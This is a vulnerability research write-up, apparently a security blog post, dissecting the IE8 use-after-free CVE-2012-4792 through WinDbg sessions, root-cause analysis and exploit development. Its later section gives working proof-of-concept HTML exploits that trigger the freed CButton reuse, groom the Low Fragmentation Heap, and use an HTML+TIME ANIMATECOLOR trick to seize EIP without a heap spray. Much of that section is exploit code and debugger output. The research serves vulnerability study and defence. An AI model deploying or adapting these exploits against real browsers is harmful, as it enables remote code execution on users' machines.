A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393
Analysis
The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data.
<!doctype html>
<html>
<head>
<script>
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
var eip = window;
var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
eip.location = unescape("AA" + data);
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.
This resulted in the following windbg log:
(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05682fa8=????????
1:022> !heap -p -a edi
address 05682fa8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
5640eb0: 5682000 2000
7c91a1ba ntdll!RtlFreeHeap+0x000000f9
3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
3cf7a976 mshtml!PlainRelease+0x00000025
3cf9709c mshtml!PlainTrackerRelease+0x00000014
3d7b5194 jscript!VAR::Clear+0x0000005c
3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
3d7b4d08 jscript!GcContext::CollectCore+0x00000113
3d82471d jscript!JsCollectGarbage+0x0000001d
3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
3d7c1113 jscript!CSession::Execute+0x00000175
1:022> kv
ChildEBP RetAddr Args to Child
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor’”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef.
When we look back at the HTML code some of it makes sense
e1.appendChild(document.createElement('button'));
This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“.
If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.
By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.
<!doctype html>
<html>
<head>
<script>
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;
try {
Math.atan2(0xbadc0de, "before get element a")
e0 = document.getElementById("a");
Math.atan2(0xbadc0de, "before get element b")
e1 = document.getElementById("b");
Math.atan2(0xbadc0de, "before create element q")
e2 = document.createElement("q");
Math.atan2(0xbadc0de, "before apply element e1(b) -> e2(q)")
e1.applyElement(e2);
Math.atan2(0xbadc0de, "before appendChild create element button")
e1.appendChild(document.createElement('button'));
Math.atan2(0xbadc0de, "before applyElement e1 -> e0")
e1.applyElement(e0);
Math.atan2(0xbadc0de, "before e2 outertext")
e2.outerText = "";
Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
e2.appendChild(document.createElement('body'));
Math.atan2(0xbadc0de, "All done inside try loop")
} catch(e) { }
Math.atan2(0xbadc0de, "collecting garbage")
CollectGarbage();
Math.atan2(0xbadc0de, "Done collecting garbage")
}
</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>
We now run the poc again.
0:000> sxe ld:jscript
0:000> g
ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3 ret
1:025> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025> bl
0 e 3d7d8f09 0001 (0001) 1:**** jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
2 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -> e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05312fa8=????????
We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post.
Lets go back to the crash and see where edi (pointing to the freed memory) comes from.
Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem.
0:000> sxe ld:mshtml
0:000> g
ModLoad: 3cea0000 3d45e000 C:\WINDOWS\system32\mshtml.dll
1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:025> bp !mshtml + 0x44224
1:025> bl
0 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
1 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
2 e 3cee4224 0001 (0001) 1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025> g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100 call mshtml!CElement::FindDefaultElem (3cf00534)
1:025> t
<snip>
3cf00585 56 push esi
3cf00586 8bc3 mov eax,ebx
3cf00588 e84aa20400 call mshtml!CElement::GetParentForm (3cf4a7d7)
1:025>
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0 mov esi,eax
3cf0058f 3bf2 cmp esi,edx
3cf00591 0f857e4d1a00 jne mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025>
3cf00597 395510 cmp dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00 jne mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025>
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000 mov eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8
1:025> dc 04c1a6a8
04c1a6a8 3cfa4f78 00000014 000000b8 00000000 xO.<............
04c1a6b8 00000000 3cf46c50 04c1a6a8 021e1b8c ....Pl. dds 04c1a6a8 L1
04c1a6a8 3cfa4f78 mshtml!CDoc::`vftable'
1:025> !heap -p -a 04c1a6a8
address 04c1a6a8 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
44cad98: 4c1a6a8 954 - 4c1a000 2000
mshtml!CDoc::`vftable'
7c919c0c ntdll!RtlAllocateHeap+0x00000e64
3ceb29f0 mshtml!CDoc::operator new+0x00000013
3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
78136247 urlmon!CBinding::CallOnProgress+0x00000030
7816180b urlmon!CBinding::InstantiateObject+0x000000b7
1:025> p
3cf005a6 5e pop esi
3cf005a7 5f pop edi
3cf005a8 5b pop ebx
3cf005a9 5d pop ebp
3cf005aa c20c00 ret 0Ch
The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 0049c000 iexplore.exe
ModLoad: 7c900000 7c9b2000 ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f03000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 774e0000 7761e000 C:\WINDOWS\system32\ole32.dll
ModLoad: 3dfd0000 3e1bb000 C:\WINDOWS\system32\iertutil.dll
ModLoad: 78130000 78263000 C:\WINDOWS\system32\urlmon.dll
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:000> sxe ld:mshtml
0:000> g
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc int 3
1:014> g
ModLoad: 3cea0000 3d45e000 C:\WINDOWS\system32\mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3 ret
1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> bl
0 e 3d2b4c27 0001 (0001) 1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
1 e 3d2b4ae1 0001 (0001) 1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
2 e 3ceb29f0 0001 (0001) 1:**** mshtml!CDoc::operator new+0x13
1:023> sxe ld:jscript
1:023> g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3 ret
1:023> ba w4 eax + 0x1A8
1:023> g
ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3 ret
1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e pop esi
1:023> ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0 test eax,eax
3d07da77 740f je mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01 push 1
3d07da7b 8bc7 mov eax,edi
3d07da7d e8d5b7ebff call mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0 test eax,eax
3d07da84 7402 je mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e mov dword ptr [esi],edi
1:023> kv
ChildEBP RetAddr Args to Child
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023> dc edi L58/4
055a2fa8 3cf70d10 00000003 00000008 055a4fe8 ...<.........OZ.
055a2fb8 029e5e00 05584fb0 00000012 80096200 .^...OX......b..
055a2fc8 00000006 04c8cf28 3cf782e0 00000000 ....(...... dds edi L1
055a2fa8 3cf70d10 mshtml!CButton::`vftable'
It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object.
Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did.
Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.
e0 = document.getElementById("a");
Get a reference to the form object
e1 = document.getElementById("b");
Get a reference to the dfn object
e2 = document.createElement("q");
Create a ‘Q’ element
e1.applyElement(e2);
Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN
e1.appendChild(document.createElement('button'));
We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON
e1.applyElement(e0);
We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON
e2.outerText = "";
And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.
e2.appendChild(document.createElement('body'));
This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation.
Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.
To test this I created the following POC
<!doctype html<
<html<
<head<
<script<
function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
}
</script<
</head<
<div id="divelm"<</div<
<body onload="eval(helloWorld())"<
<form id="formelm"<
</form<
</body<
</html<
And yes, this causes the same problem. After running this through windbg with some log messages we get the following result
0:000> sxe ld:mshtml
0:000> g
1:023> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:023> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:023> bp !mshtml + 0x129f0
1:023> g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3 ret
1:023> ba w4 eax + 0x1A8 ".printf \"Just added the Default Element\";.echo;g"
1:023> sxe ld:jscript
1:023> g
ModLoad: 3d7a0000 3d854000 C:\WINDOWS\system32\jscript.dll
1:023> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023> g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07 mov eax,dword ptr [edi] ds:0023:05748fa8=????????
You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward
Exploitation
Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0×58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space.
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.“
Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.
We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.
<!doctype html>
<html>
<head>
<script>
function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
for(i =0; i < 20; i++) {
document.createElement('button');
}
Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
e_div.appendChild(document.createElement('button'))
Math.atan2(0xbadc0de, "before adding button to Form")
e_div.firstChild.applyElement(e_form);
Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
e_div.innerHTML = ""
Math.atan2(0xbadc0de, "adding body element to the div")
e_div.appendChild(document.createElement('body'));
Math.atan2(0xbadc0de, "collecting garbage")
CollectGarbage();
e_div.className = "\u2424\u2424exodusintel.com--------------------------";
Math.atan2(0xbadc0de, "Done collecting garbage")
}
</script>
</head>
<body onload="eval(helloWorld())">
<div id="divelm"></div>
<form id="formelm">
</form>
</body>
</html>
running this results in the following crash
(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025> dc edi
00235088 24242424 00780065 0064006f 00730075 $$$$e.x.o.d.u.s.
00235098 006e0069 00650074 002e006c 006f0063 i.n.t.e.l...c.o.
002350a8 002d006d 002d002d 002d002d 002d002d m.-.-.-.-.-.-.-.
002350b8 002d002d 002d002d 002d002d 002d002d -.-.-.-.-.-.-.-.
002350c8 002d002d 002d002d 002d002d 002d002d -.-.-.-.-.-.-.-.
002350d8 002d002d 0000002d eaa7c6ac ff0c0100 -.-.-...........
002350e8 3cf74690 0021f728 002347f8 3cf77870 .F.<(.!..G#.px.<
002350f8 00000001 00000000 01000808 ffffffff ................
Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don't need to force memory disclosure to bypass ASLR and we can rely on a module that doesn't opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn't apply to IE9 I dont mind dropping it here.
Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.
For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn't work as expected.
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
.
.
.
<t:ANIMATECOLOR id="myanim"/>
.
.
.
by setting the 'values' property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.
animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
animvalues += animvalues
}
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
Then we can set the values property to this string and voila, we control EIP directly
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
Because the values are suposed to be legit colors you need to do this in a try-except construct so you don't throw an error and stop the execution of the script. Also, doing this will create some 'noise' with additional allocations being made, but nothing that isn't controllable.
Adding this we get the following POC:
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld() {
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
animvalues += animvalues
}
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm">
</form>
</body>
</html>
Download the POC here.
Running this results in:
(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
1:028> dc eax
001bb0f8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
